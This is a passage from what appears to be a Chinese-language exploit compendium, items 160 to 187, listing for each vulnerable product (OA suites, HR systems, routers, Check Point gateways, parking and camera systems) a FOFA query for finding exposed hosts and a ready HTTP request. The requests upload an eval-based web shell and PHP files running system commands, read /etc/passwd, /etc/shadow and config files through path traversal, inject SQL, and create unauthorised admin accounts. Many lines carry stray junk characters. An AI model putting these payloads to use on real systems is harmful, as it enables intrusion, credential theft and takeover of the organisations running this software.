! @- a" z! k; t8 o: U% iPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
( \. `7 h, {/ f+ `0 UAccept-Encoding: gzip, deflate
6 g. b. C6 H% i$ ~" m, q3 yConnection: close
  N0 N# y: E4 ^Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
' w1 [4 e, g6 o
! T( {1 V4 S; v5 {: }1 S<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+ ]" H+ s/ U  n$ ?/ \* C5 b% n<soap:Body>
  e% I) s% t. h% K$ P, o<jobUpload xmlns="http://rainier">
0 G- v9 D( J/ n2 k& v<vcode>1</vcode>
3 p+ T/ y, M8 W) o) }8 y7 }. L<subFolder></subFolder>
. Q4 g7 G9 ~- J& M1 L' G# [2 y<fileName>abcrce.asmx</fileName>
! ?$ M' k2 l0 W5 Y<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
9 P+ _3 d0 E4 \# p</soap:Body>
3 c, p$ N* I8 V8 Y% s</soap:Envelope>
( W% m* C3 f, d
! t' J) l' R6 Z% e
4 q. a4 _" K9 g9 H/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
( o; {2 I6 {/ ~; ?5 `9 F, f
6 R# r( C# x7 R7 |" v( n
6 c3 a0 e0 D- m) g* N5 ?160. Sonatype Nexus Repository 3目录遍历与文件读取
) O* E( U% j. hCVE-2024-4956
" V) X8 |; G5 R7 g6 b, PFOFA：title="Nexus Repository Manager"
( V# A" {5 G% W/ j- K( IGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
( c% D3 a, f; X8 V' \4 SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
5 k# U/ U5 z, z2 q7 P: a3 ~Connection: close
" }; V8 q* q7 `7 x. P3 U, b/ GAccept: */*
9 U5 D+ d0 N3 A9 O5 z$ A' `1 F+ i0 KAccept-Language: en
Accept-Encoding: gzip
7 v* L" h1 O2 L1 a2 {

161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
. a% v) X- T0 q3 w/ ^! CFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
* Q6 [, e; `. w! a9 {Content-Length: 445
2 }6 ]- E' S9 t2 C* ]4 @9 b# g5 IContent-Type: text/xml
, m4 m! V$ U  U$ o8 RAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
# s0 x& |: t3 _% b2 D1 D# Mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
0 d5 h' D  x% Z. S% Hxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
% s% X6 q4 W5 A<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
  O) t" U1 a( V$ ?4 `8 ?3 g9 N: _/ D<tag>3</tag>
</UploadResume>
# e/ A: D' [! X' @</soap:Body>
  O8 v+ P# }$ C1 A8 B</soap:Envelope>


+ V2 v+ T3 a5 V# L4 E. hhttp://x.x.x.x/dizxdell.aspx
" C! U" v& S( K# m% o0 V! Q# U
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
1 V4 n$ K9 u, D6 c2 H& mFOFA: app="和丰山海-数字标牌"
2 T! r0 j& X. A2 P8 e) aPOST /QH.aspx HTTP/1.1
1 S  F' H1 E! ]- H5 R' e. a/ bHost: x.x.x.x
2 R* E& L4 ]$ g) Q  h1 A' U1 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
0 i3 i' }& G3 O- {1 vContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
: ]/ f) M0 ^7 W, k
: C- O) Z1 a+ l0 e& v1 T5 u  q6 t------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
( Q/ f0 U$ d9 {0 t; i& j
<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
3 I% u7 {) w; m5 T+ OContent-Disposition: form-data; name="action"
; _1 p) N8 j# z( O" K- j9 g  r8 n
2 z' t, U( v4 S) h% t# `8 Vupload
------WebKitFormBoundaryeegvclmyurlotuey
0 `" }* C, T2 v- o2 K: bContent-Disposition: form-data; name="responderId"
5 z' p/ C3 N8 N: Q5 D6 n5 k
. ~! m! g% G6 r" O* F6 Z, T9 @ResourceNewResponder
% S( D) D, U2 \7 l; m) G------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

5 ~3 ?$ w' C; L' X* {* f. S5 h3 n/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


' N( A4 ~# _: Q. p8 v; d( ~http://x.x.x.x/opt/resources/kjuhitjgk.aspx
" ~' ~- }7 m: ?  g; [
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
' H+ l  Z. |9 U6 S* VFOFA: icon_hash="-795291075"
5 v1 J" k* x2 u3 Q& EPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
+ J( Z  a  X& S  O8 rHost: x.x.x.x
, h& {+ u  w) z1 g; V2 s% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
+ s4 R! U5 j# nConnection: close
Content-Length: 293
( d0 L; a& K3 `1 W; WAccept: */*
1 Q( j7 g/ _0 V. c. {' h5 q8 ^& sAccept-Encoding: gzip, deflate
$ ^5 ^% ]/ F5 I; p- H1 fAccept-Language: zh-CN,zh;q=0.9
! p, I1 c7 c( w# a' E8 A* U5 yContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
1 W7 X  h- W9 ^1 l6 c
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
6 x" t( x3 A, k) r2 R# a' c7 _2 {------iiqvnofupvhdyrcoqyuujyetjvqgocod--

/ T1 Q+ q' Y. C: E) Q
& T; L# O) ]: h  W; V6 {: ]+ h164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
( Z  Q' T% L' ?FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
5 w$ e9 v' I$ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
) O& _: [1 d3 S( \7 U' RContent-Length: 288
) V+ p7 d& h# Y6 h$ ]Accept: application/json, text/javascript, */*; q=0.01
0 V  z" v) M# I9 H% k% D# UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
9 b% R0 X1 {: Z) g$ r4 u+ |$ yConnection: close
% I2 G0 g8 U4 I& X; o/ Q0 H5 v  `5 eContent-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
% Y6 C! d6 h; T. i' G) sAccept-Encoding: gzip
  x3 b3 Y: L1 d2 A& I# j2 D
------dqdaieopnozbkapjacdbdthlvtlyl
/ y& Y# P" r! Y; P" y$ Q) ZContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
: |& c" h: l0 |Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--


& G0 i3 B, Q$ fhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
+ g+ X  q; @- o% D6 k* bURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

; I1 B! W# x  d& O4 ]: h; h
6 W% i8 [; L8 e, V166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
- C; ?) q3 u" NPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
  A! u$ J* m$ H( YPragma: no-cache
Cache-Control: no-cache
8 g( {; V$ S4 [) ~) IUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) o! z7 ]. q' dAccept-Encoding: gzip, deflate
$ h7 H+ t& E+ x6 S- c5 w- `1 y) YAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
0 |- j& {+ ]! A6 N3 m6 yConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

: o  U& J! t( {% MMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

" V. U7 o% n7 ~1 _, j1 B* }# Y0 Y
2 H. g  N$ e# \# G167. 精益价值管理系统 DownLoad.aspx任意文件读取
# l, o& }) |# S- q* D* uFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
) {, ]' ?/ Z0 m6 n9 A/ x/ t7 @GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) a' _* g: Z6 I' G) zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ s, [3 j3 [3 j+ I+ W( g9 W2 RAccept: */*
Connection: keep-alive


/ y, Z' T9 B6 G+ j$ O1 N: V9 I168. 宏景EHR OutputCode 任意文件读取
+ G, ~0 W4 [: o' T5 C  g5 nFOFA：app="HJSOFT-HCM"
7 `1 d: ]+ i, T: BGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ |* Z& M1 H- rConnection: close
5 D; T2 _( D* t

' J5 ?1 {6 G& \: i$ A% J; D
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
7 o; ^0 d. B" g8 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
& K, a0 W$ {: c' KAccept-Encoding: gzip, deflate
& c; B% Q1 x7 M9 b; Y& |; G& T" BConnection: close
$ o8 L+ Y3 h! w. j' h


; u3 g, N: K5 J+ S$ L/ H170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
9 s1 l- a& ]( F/ C6 {User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* h. O: W) Y2 \% WContent-Type: application/x-www-form-urlencoded
0 r9 X! S5 ~) h+ o, k  X7 j
6 a9 v2 W  p4 T3 h9 }filename=../webapps/ROOT/WEB-INF/web.xml
1 v) H3 p5 z7 m" }
& \; o$ X9 [- Y( d7 ?, W
# I( B3 z6 [) U$ }171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
8 [% j0 _$ ?% |" l; X1 M3 lAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* h6 d3 J2 E+ ^$ J$ e% Q( D8 jConnection: close

. c; t+ [* ~+ h; w8 k" k" Y

1 ?8 I( ~' F4 H+ F; `$ }2 p172. DT-高清车牌识别摄像机任意文件读取
" c! s& v" k0 J$ x$ gFOFA：app="DT-高清车牌识别摄像机"
4 W" r6 u2 {4 c- m9 [5 Q9 m& jGET /../../../../etc/passwd HTTP/1.1
- \/ I$ I. y2 A! c$ Z! X- ]Host: your-ip
  }, n6 ]4 n4 ?, H& _' l7 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 M% Q. I6 j3 Y. MAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
, v" _! Z# Z; I! E6 D8 E8 o
; X  Y2 o* `- ?9 G2 ]. m
2 a$ R. j4 B) W" ?
) `7 K2 T! K* G" f# Z+ |, T  p173. Check Point 安全网关任意文件读取
CVE-2024-24919
& h. }9 c& d/ O0 yFOFA：app="Check_Point-SSL-Network-Extender"
+ P0 t6 G/ Z- ]: Z5 S' k& V4 lPOST /clients/MyCRL HTTP/1.1
0 X  r2 [1 D: `$ F9 `Host: your-ip
, z5 ~/ n% p2 t& l0 \Content-Type: application/x-www-form-urlencoded

, @5 E% X1 R/ I! N! M& vaCSHELL/../../../../../../../etc/shadow

8 i5 s# U/ L" ~1 c& X' K- q4 w

/ Q1 H  @2 {8 X( D$ {, v174. 金和OA C6 FileDownLoad.aspx 任意文件读取
& U( [5 _* k# U8 F5 Q( N- WFOFA：app="金和网络-金和OA"
' {) R1 s) v6 l- w" u, ?! PGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
$ w  R% r6 ^2 d0 `$ p2 {Accept-Language: zh-CN,zh;q=0.9
& B' b: ^. U6 k. vConnection: close


& A) o) Y# |, Q
+ N0 `$ O# [& g9 j' A+ a175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
1 D' _( E6 _3 a# n# ^5 @Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
$ I9 T* G. f1 C5 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 }* H: a; r$ U& G9 F2 JAccept-Encoding: gzip, deflate
Connection: close
, {+ H9 s; }: n+ aUpgrade-Insecure-Requests: 1


: V" o9 S8 b" Q+ T* [176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
4 Q, N& {! K! h4 P# F1 }" a' bHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
: P- x  G4 H1 O! ?" Y' l4 f: h2 }' t8 I: gConnection: close

$ Q5 m! G: a: S0 I9 C------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

2 ]9 X4 B6 `& B9 v<?php system("cat /etc/passwd");unlink(__FILE__);?>
2 y: Y; a8 n- n. i------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"

' |  j- B  m3 R& E$ K$ j
8 z& [& C, `0 X------WebKitFormBoundaryOKldnDPT--
  `8 I4 T" m: V  J" ]8 g: d
/ J- n: W( n3 H

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
; u. M+ Y! [3 g; T0 Z/userLogin.asp/../actionpolicy_status/../M60.cfg
$ U& ~3 K( f, M4 P3 @( r4 @; P/userLogin.asp/../actionpolicy_status/../GR8300.cfg
! B8 j1 ]; D" e$ Y( L9 `/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
3 ^8 j: Z$ y3 {1 }2 h& J- G& K  r/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
- |5 ^7 W; v% F) H. ~/ d/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
: R. |5 @6 E- f+ l' G8 A' t. I- D/userLogin.asp/../actionpolicy_status/../ER3200.cfg
' ^8 E$ j& T9 }( w  U3 z! y+ u/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/ P1 N6 O7 q# [- R/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
$ ~, l) F1 B- ?& o, E. @
8 C- u8 y! ^5 r0 w. s
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
: e8 k& P0 ]( r# y1 c) lPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
5 M3 b$ [  o  m, {+ X. `6 m6 NHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( B3 k. d3 M$ y* |Content-Length: 252
Accept-Encoding: gzip, deflate
! k9 k4 n2 B4 n* iConnection: close
5 k* R' v: u* D5 nContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
' t. m/ G) ]+ ]* C- r% ]0 q  }Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
Content-Length: 255
; t( `4 r: a# ?0 T6 S' i" h
3 u; N( p5 l2 ^0 {6 u12234
! }/ c$ r7 B; R$ d# X5 ~: r2 x-----------------aqutkea7vvanpqy3rh2l--

9 {# h4 f* F: c; N- p& {
" N: ^+ M. X6 \+ X5 z' n9 rGET /imc/primepush/%2e%2e/flex/12234.txt

$ t5 y# w' @/ P- r: L
2 c4 r( {$ _7 n, |& f0 ?4 a179. 建文工程管理系统存在任意文件读取
1 h! P) Z  e, |& xPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- \+ B2 R- l* Y. M8 K% `User-Agent: Mozilla/5.0
& A# z! C* [& D$ B8 {( v( S
path=../log4net.config&Name=
  R/ o' {+ ~# C9 }' E
5 n  J' }# x8 p3 `
180. 帮管客 CRM jiliyu SQL注入
# T4 O9 z5 ~3 L" y9 U, i: N4 JFOFA：app="帮管客-CRM"
- O& K5 K9 r  a6 V; W5 [GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
$ ~% A3 {! i" A; G5 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 S! D4 {& i; N1 @6 q+ k1 E& qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, s3 p' r) D4 ]8 h* Q, ]0 aConnection: close
: N% P% k: S0 }9 e$ R
7 u* z( v0 |7 I3 C3 l; G; D
- O0 R6 Y: b) L181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
6 R- r1 \" g( @5 j; N# }0 VFOFA："PDCA/js/_publicCom.js"
0 T9 m8 D  Y) ?6 JPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
& N  V+ R" g9 u1 L: }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! n) n: [8 ^2 @/ u) PAccept-Encoding: gzip, deflate, br
3 Y3 i2 H* p9 S9 yAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

  x* S' d. e, q3 O  V; G
% ^" F7 E* m5 J' c& O: }action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
0 H' D3 S# [/ o) B0 v
6 h3 I3 t, _* X; u' z9 b; r1 ?
. o1 {* r: Y9 I' |182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
5 w" c2 m0 i% r2 zFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
) n% }8 R  D: S' A) Q, eHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
7 ^( C& _/ @/ u4 p6 t& yAccept-Language: zh-CN,zh;q=0.9
" h" P, z! f% o! |& G3 K, nConnection: close
: V4 G+ y, f1 M, B! u. ~- i3 AContent-Type: application/x-www-form-urlencoded
* [1 R# u8 V; N- Y4 Y

2 d( t' d2 w" l8 ?: \username=test1234&pwd=test1234&savedays=1

8 v! x) \7 u4 O, C& k7 w
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
; n8 E, r2 z! Q; I3 r; x; X: s1 NHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
! J: I3 }$ I8 }
5 j; c2 O2 n2 `6 M8 @/ n* F
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
/ L' z) f9 K& h4 P9 ?$ T: `) MFOFA：server="SunFull-Webs"
/ C$ G- ~: u. mPOST /soap/AddUser HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
2 ^/ Z& J* r$ J/ |Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


0 N. I" [) x0 rinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
) g( \; G1 u! b. O- ~

186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
, n: o! A/ d4 |. i! F$ x. lFOFA：title=="DataCube3"
- S) x* ^) d) ^) a  APOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
+ y' _- B$ K9 _( R7 c( R* ~0 r( gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
: u, D5 [5 K* H# Q1 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  S- a! \$ R2 [; f, rConnection: close
* X2 T9 M8 s3 d4 q; H! [Content-Type: application/x-www-form-urlencoded

* S# o( o& n3 Z; C# o6 [3 U' C9 Zreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

% d0 B3 u# Z; ]. u9 B
! m/ q0 J0 y; u6 y187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
/ Q3 M; m7 V5 x. x  }FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
: T7 \1 [* y& dHost: your-ip
5 b% S( k* \$ s9 ]1 }! ]1 RContent-Type: application/x-www-form-urlencoded


